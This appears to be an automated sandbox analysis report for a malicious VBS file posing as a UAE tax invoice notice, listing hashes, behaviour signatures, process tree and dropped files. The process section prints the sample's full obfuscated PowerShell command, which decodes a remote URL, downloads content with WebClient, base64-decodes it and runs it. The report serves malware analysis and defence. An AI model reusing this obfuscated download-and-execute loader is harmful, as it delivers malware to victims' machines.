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Analysis

  • max time kernel
    145s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    08/05/2023, 18:26

General

  • Target

    TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs

  • Size

    34KB

  • MD5

    21a4e31b7ca2e4608bf43d2ad901edc3

  • SHA1

    b0e3f0ec85b343fb75bb00fe4fdb3945714d52d2

  • SHA256

    beda408709feea7d2023f328e9c97bf4d090bcfb3948fc4e4d9c5c580d8f5858

  • SHA512

    68686bfa80bc22521da952707aa38a7d3b0a1caedaef2c6ba436ddaa12bed2dbc41982e650945877ce633f26049dcbbfc946ba486c317b07e5be868ebe379fd2

  • SSDEEP

    768:7XDUAi25dFuE6dFxAi6EvM6bjUDSXjuISLDIca:7XQV0e76EqOMfa

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 49 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs"
    1⤵
    • Blocklisted process makes network request
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1344
    • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
      "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" "Function Dodder9 ([String]$Bruttoindkomstens){For($Halvcirkel70=1; $Halvcirkel70 -lt $Bruttoindkomstens.Length-1; $Halvcirkel70+=(1+1)){$Intersqueezing=$Intersqueezing+$Bruttoindkomstens.Substring($Halvcirkel70, 1)};$Intersqueezing;}$Timbren=Dodder9 'ShCtSt p sH:M/ / b lMoAgG.TnOa cReTx . eHsU/SwbpH- cDoUn t eSn tE/Sp lSuPg i n sS/ DGRACCO OKO Lm/PFDiEn aOn sSeDk s pEe r t e rM.CaCs i ';$Intersqueezing01=Dodder9 'SiSekx ';$Intersqueezing00=Dodder9 'S$ DMoHd dAe r C=R M(XN e wS- OBb jRe cht NYeStD. WAeCb C lUiCe n tV) .EDEo wOn lPo aUdSS t rHiMnEgU(F$AT i mSbPr eEn ) ';.($Intersqueezing01) (Dodder9 ' $Dl iOs lBsE2 =E$Be nSvT: aspZpMd a tBa ') ;$lisls2=$lisls2+'\Afkappet.Cif';.($Intersqueezing01) (Dodder9 'A$BBIr uFdWzFo nIe = - nUoRtK( TPePsAtG-FPCaKtBhB C$Kl iBs lFsS2S) ') ;if ($Brudzone) {while ($Dodder -eq $Intersqueezing3) {.($Intersqueezing01) $Intersqueezing00;.($Intersqueezing01) (Dodder9 'TSBtRa r t -PSIl ePe pP P5 ');}.($Intersqueezing01) (Dodder9 ' S eItr-JCSoFnFtFeOn th $ l i s l s 2R O$ D o dPdHeJrD ');}.($Intersqueezing01) (Dodder9 'E$ D oPd dneBr = GDePt -ICtoPnltSe nPtU H$Cl i s lZsU2P ');.($Intersqueezing01) (Dodder9 'B$EPGa rIaTgDuTaKyUa n eHr n e sP =V O[WSMyasAtReRmR. C oLn vDe rStS]G:B:NFCr o mNB aSs e 6S4PSPt rCiRnsg ( $SDCoAd dBe r )G ');.($Intersqueezing01) (Dodder9 ' $PICnUtVeNr s qFuSe eQzGi n g 2c = S[ASSyAs t eAm . TPeKx t . E nRc o d i nvgs]F:R: A SCCSITIK. GSeStKSPtSr i nCg (S$KPBa r a gPu aCy aUnde r ndeTsP)T ');.($Intersqueezing01) (Dodder9 'L$FPAr oarVeTf o rXm =S$ ICn tSe r s qSuOeKeOzUi nFgS2G. s uKbDsItNrMi nSgC( 1S8 7S4S5 1E, 8 4A6S6 ) ');powershell $Proreform;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1788

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabCD0.tmp

    Filesize

    61KB

    MD5

    fc4666cbca561e864e7fdf883a9e6661

    SHA1

    2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

    SHA256

    10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

    SHA512

    c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

  • C:\Users\Admin\AppData\Local\Temp\TarD8E.tmp

    Filesize

    161KB

    MD5

    73b4b714b42fc9a6aaefd0ae59adb009

    SHA1

    efdaffd5b0ad21913d22001d91bf6c19ecb4ac41

    SHA256

    c0cf8cc04c34b5b80a2d86ad0eafb2dd71436f070c86b0321fba0201879625fd

    SHA512

    73af3c51b15f89237552b1718bef21fd80788fa416bab2cb2e7fb3a60d56249a716eda0d2dd68ab643752272640e7eaaaf57ce64bcb38373ddc3d035fb8d57cd

  • memory/1788-94-0x0000000001D20000-0x0000000001D60000-memory.dmp

    Filesize

    256KB